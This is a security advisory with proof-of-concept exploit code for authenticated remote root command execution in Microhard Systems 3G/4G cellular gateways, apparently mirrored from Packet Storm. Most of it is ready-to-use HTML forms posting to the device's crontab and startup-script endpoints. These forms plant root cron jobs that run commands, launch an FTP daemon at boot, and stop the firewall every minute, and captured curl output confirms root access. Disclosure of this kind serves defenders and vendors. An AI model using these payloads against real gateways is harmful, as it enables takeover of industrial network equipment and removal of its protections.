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Microhard Systems 3G/4G Cellular Ethernet And Serial Gateway Remote Root

🗓️ 16 Jul 2018 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 44 Views

Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Remote Root Exploit - Multiple Authenticated Arbitrary Remote Code Execution Vulnerabilities with Highest Privilege

Code
`  
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Remote Root Exploit  
  
  
Vendor: Microhard Systems Inc.  
Product web page: http://www.microhardcorp.com  
Affected version: IPn4G 1.1.0 build 1098  
IPn3Gb 2.2.0 build 2160  
IPn4Gb 1.1.6 build 1184-14  
IPn4Gb 1.1.0 Rev 2 build 1090-2  
IPn4Gb 1.1.0 Rev 2 build 1086  
Bullet-3G 1.2.0 Rev A build 1032  
VIP4Gb 1.1.6 build 1204  
VIP4G 1.1.6 Rev 3.0 build 1184-14  
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196  
IPn3Gii / Bullet-3G 1.2.0 build 1076  
IPn4Gii / Bullet-LTE 1.2.0 build 1078  
BulletPlus 1.3.0 build 1036  
Dragon-LTE 1.1.0 build 1036  
  
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution  
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb  
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control  
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial  
RS232/485/422 devices!  
  
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses  
the widespread deployment of cellular network infrastructure for critical data collection.  
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!  
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It  
provides robust and secure wireless communication of Serial, USB and Ethernet data.  
  
The all new Bullet-3G provides a compact, robust, feature packed industrial strength  
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things  
to the next level by providing features such as Ethernet with PoE, RS232 Serial port  
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated  
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution  
worth looking at!  
  
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength  
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote  
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight  
system integration and design flexibility with dual Ethernet Ports and high power  
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access  
Control Lists, the Dragon-LTE provides a solution for any cellular application!  
  
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE  
network infrastructure for critical data communications. The VIP4Gb provides simultaneous  
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital  
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in  
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.  
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.  
  
Desc: The application suffers from multiple authenticated arbitrary remote code execution  
vulnerabilities with highest privileges. This is due to multiple hidden and undocumented  
features within the admin interface that allows an attacker to create crontab jobs and/or  
modify the system startup script that allows execution of arbitrary code as root user.  
  
Tested on: httpd-ssl-1.0.0  
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2018-5479  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5479.php  
  
  
13.03.2018  
  
--  
  
  
Crontab #1:  
-----------  
  
<html>  
<body>  
<form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="submit" value="1" />  
<input type="hidden" name="sltMinutes" value="" />  
<input type="hidden" name="sltHours" value="" />  
<input type="hidden" name="sltDays" value="" />  
<input type="hidden" name="sltMonths" value="" />  
<input type="hidden" name="sltDaysOfWeek" value="" />  
<input type="hidden" name="txthMinutes" value="" />  
<input type="hidden" name="txthHours" value="" />  
<input type="hidden" name="txthDays" value="" />  
<input type="hidden" name="txthMonths" value="" />  
<input type="hidden" name="txthDaysOfWeek" value="" />  
<input type="hidden" name="ddEveryXminute" value="" />  
<input type="hidden" name="ddEveryXhour" value="" />  
<input type="hidden" name="ddEveryXday" value="" />  
<input type="hidden" name="txtCommand" value="" />  
<input type="hidden" name="txthCronEnabled" value="0" />  
<input type="hidden" name="txtCrontabEntry" value="" />  
<input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />  
<input type="hidden" name="HOURS_cfg02e2c8" value="*" />  
<input type="hidden" name="DAYS_cfg02e2c8" value="*" />  
<input type="hidden" name="MONTHS_cfg02e2c8" value="*" />  
<input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />  
<input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />  
<input type="hidden" name="ENABLED_cfg02e2c8" value="1" />  
<input type="hidden" name="MINUTES_cfg04b4e9" value="*" />  
<input type="hidden" name="HOURS_cfg04b4e9" value="*" />  
<input type="hidden" name="DAYS_cfg04b4e9" value="*" />  
<input type="hidden" name="MONTHS_cfg04b4e9" value="*" />  
<input type="hidden" name="WEEKDAYS_cfg04b4e9" value="*" />  
<input type="hidden" name="COMMAND_cfg04b4e9" value="id > /www/pwn.txt" />  
<input type="hidden" name="ENABLED_cfg04b4e9" value="1" />  
<input type="hidden" name="MINUTES_newCron" value="" />  
<input type="hidden" name="HOURS_newCron" value="" />  
<input type="hidden" name="DAYS_newCron" value="" />  
<input type="hidden" name="MONTHS_newCron" value="" />  
<input type="hidden" name="WEEKDAYS_newCron" value="" />  
<input type="hidden" name="COMMAND_newCron" value="" />  
<input type="hidden" name="ENABLED_newCron" value="" />  
<input type="hidden" name="action" value="Save Changes" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
---  
  
curl http://192.168.1.1/pwn.txt  
uid=0(root) gid=0(root) groups=0(root)  
  
  
Start ftpd:  
-----------  
  
<html>  
<body>  
<form action="http://192.168.1.1/cgi-bin/webif/system-startup.sh" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="path" value="/etc/init.d" />  
<input type="hidden" name="edit" value="custom-user-startup" />  
<input type="hidden" name="filecontent" value="#!/bin/sh /etc/rc.common  
START=90  
# place your own startup commands here  
#  
# REMEMBER: You *MUST* place an '&' after launching programs you   
# that are to continue running in the background.  
#  
# i.e.   
# BAD: upnpd  
# GOOD: upnpd &  
#   
# Failure to do this will result in the startup process halting  
# on this file and the diagnostic light remaining on (at least  
# for WRT54G(s) models).  
#  
  
ftpd &  
  
" />  
<input type="hidden" name="save" value="A Save ChangesA " />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
Crontab #2:  
-----------  
  
<html>  
<body>  
<form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="submit" value="1" />  
<input type="hidden" name="sltMinutes" value="" />  
<input type="hidden" name="sltHours" value="" />  
<input type="hidden" name="sltDays" value="" />  
<input type="hidden" name="sltMonths" value="" />  
<input type="hidden" name="sltDaysOfWeek" value="" />  
<input type="hidden" name="txthMinutes" value="*" />  
<input type="hidden" name="txthHours" value="*" />  
<input type="hidden" name="txthDays" value="*" />  
<input type="hidden" name="txthMonths" value="*" />  
<input type="hidden" name="txthDaysOfWeek" value="*" />  
<input type="hidden" name="ddEveryXminute" value="" />  
<input type="hidden" name="ddEveryXhour" value="" />  
<input type="hidden" name="ddEveryXday" value="" />  
<input type="hidden" name="txtCommand" value="uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />  
<input type="hidden" name="chkCronEnabled" value="on" />  
<input type="hidden" name="txthCronEnabled" value="1" />  
<input type="hidden" name="txtCrontabEntry" value="* * * * * uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />  
<input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />  
<input type="hidden" name="HOURS_cfg02e2c8" value="*" />  
<input type="hidden" name="DAYS_cfg02e2c8" value="*" />  
<input type="hidden" name="MONTHS_cfg02e2c8" value="*" />  
<input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />  
<input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />  
<input type="hidden" name="ENABLED_cfg02e2c8" value="1" />  
<input type="hidden" name="MINUTES_cfg0421ec" value="*" />  
<input type="hidden" name="HOURS_cfg0421ec" value="*" />  
<input type="hidden" name="DAYS_cfg0421ec" value="*" />  
<input type="hidden" name="MONTHS_cfg0421ec" value="*" />  
<input type="hidden" name="WEEKDAYS_cfg0421ec" value="*" />  
<input type="hidden" name="COMMAND_cfg0421ec" value="uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />  
<input type="hidden" name="ENABLED_cfg0421ec" value="1" />  
<input type="hidden" name="MINUTES_newCron" value="" />  
<input type="hidden" name="HOURS_newCron" value="" />  
<input type="hidden" name="DAYS_newCron" value="" />  
<input type="hidden" name="MONTHS_newCron" value="" />  
<input type="hidden" name="WEEKDAYS_newCron" value="" />  
<input type="hidden" name="COMMAND_newCron" value="" />  
<input type="hidden" name="ENABLED_newCron" value="" />  
<input type="hidden" name="action" value="Save Changes" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
---  
  
curl http://192.168.1.1/os.txt  
Linux IPn4G 2.6.32.9 #1 Mon Jun 20 15:28:30 MDT 2016 mips GNU/Linux  
drwxr-xr-x 5 root root 0 Jul 1 14:01 .  
drwxr-xr-x 7 root root 0 Dec 31 1969 ..  
-rw-r--r-- 1 root root 4 Apr 12 2010 .version  
-rw-r--r-- 1 root root 13461 May 8 15:54 IPn4G.config  
drwxr-xr-x 3 root root 0 Jun 20 2016 cgi-bin  
-rw-r--r-- 1 root root 2672 Apr 1 2010 colorize.js  
-rwxr-xr-x 1 root root 3638 May 10 2010 favicon.ico  
drwxr-xr-x 2 root root 959 Jun 20 2016 images  
-rw-r--r-- 1 root root 600 Feb 12 2013 index.html  
drwxr-xr-x 2 root root 224 Jun 20 2016 js  
-rw-r--r-- 1 root root 68 Mar 1 14:09 os.txt  
drwxr-xr-x 2 root root 79 Jun 20 2016 svggraph  
drwxr-xr-x 2 root root 0 Jul 1 14:02 themes  
drwxr-xr-x 2 root root 0 May 8 16:21 vnstat  
-rw-r--r-- 1 root root 953 Apr 1 2010 webif.js  
uid=0(root) gid=0(root) groups=0(root)  
  
  
Disable firewall:  
-----------------  
  
<html>  
<body>  
<form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="submit" value="1" />  
<input type="hidden" name="sltMinutes" value="" />  
<input type="hidden" name="sltHours" value="" />  
<input type="hidden" name="sltDays" value="" />  
<input type="hidden" name="sltMonths" value="" />  
<input type="hidden" name="sltDaysOfWeek" value="" />  
<input type="hidden" name="txthMinutes" value="*" />  
<input type="hidden" name="txthHours" value="*" />  
<input type="hidden" name="txthDays" value="*" />  
<input type="hidden" name="txthMonths" value="*" />  
<input type="hidden" name="txthDaysOfWeek" value="*" />  
<input type="hidden" name="ddEveryXminute" value="" />  
<input type="hidden" name="ddEveryXhour" value="" />  
<input type="hidden" name="ddEveryXday" value="" />  
<input type="hidden" name="txtCommand" value="/etc/init.d/firewall stop" />  
<input type="hidden" name="chkCronEnabled" value="on" />  
<input type="hidden" name="txthCronEnabled" value="1" />  
<input type="hidden" name="txtCrontabEntry" value="* * * * * /etc/init.d/firewall stop" />  
<input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />  
<input type="hidden" name="HOURS_cfg02e2c8" value="*" />  
<input type="hidden" name="DAYS_cfg02e2c8" value="*" />  
<input type="hidden" name="MONTHS_cfg02e2c8" value="*" />  
<input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />  
<input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />  
<input type="hidden" name="ENABLED_cfg02e2c8" value="1" />  
<input type="hidden" name="MINUTES_cfg04f65b" value="*" />  
<input type="hidden" name="HOURS_cfg04f65b" value="*" />  
<input type="hidden" name="DAYS_cfg04f65b" value="*" />  
<input type="hidden" name="MONTHS_cfg04f65b" value="*" />  
<input type="hidden" name="WEEKDAYS_cfg04f65b" value="*" />  
<input type="hidden" name="COMMAND_cfg04f65b" value="/etc/init.d/firewall stop" />  
<input type="hidden" name="ENABLED_cfg04f65b" value="1" />  
<input type="hidden" name="MINUTES_newCron" value="" />  
<input type="hidden" name="HOURS_newCron" value="" />  
<input type="hidden" name="DAYS_newCron" value="" />  
<input type="hidden" name="MONTHS_newCron" value="" />  
<input type="hidden" name="WEEKDAYS_newCron" value="" />  
<input type="hidden" name="COMMAND_newCron" value="" />  
<input type="hidden" name="ENABLED_newCron" value="" />  
<input type="hidden" name="action" value="Save Changes" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
`

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16 Jul 2018 00:00Current
0.4Low risk
Vulners AI Score0.4
microhard systems3g4gethernetserial gatewayremote rootexploitvendorproduct pageaffected versionfirewallipsecvpngre tunnelingaccess control listsdata transportindustrial strengthwireless solutioncritical data collectionhspa+quad band gsmcompactrobustfeature packedindustrial iotm2mdragon-ltevip4gb802.11a/b/g/n wifidigital i/ors232/rs485 port4g ltevulnerabilitiesremote code executioncrontab jobssystem startup scriptlinux 2.6.32.9advisory idzsl-2018-5479
44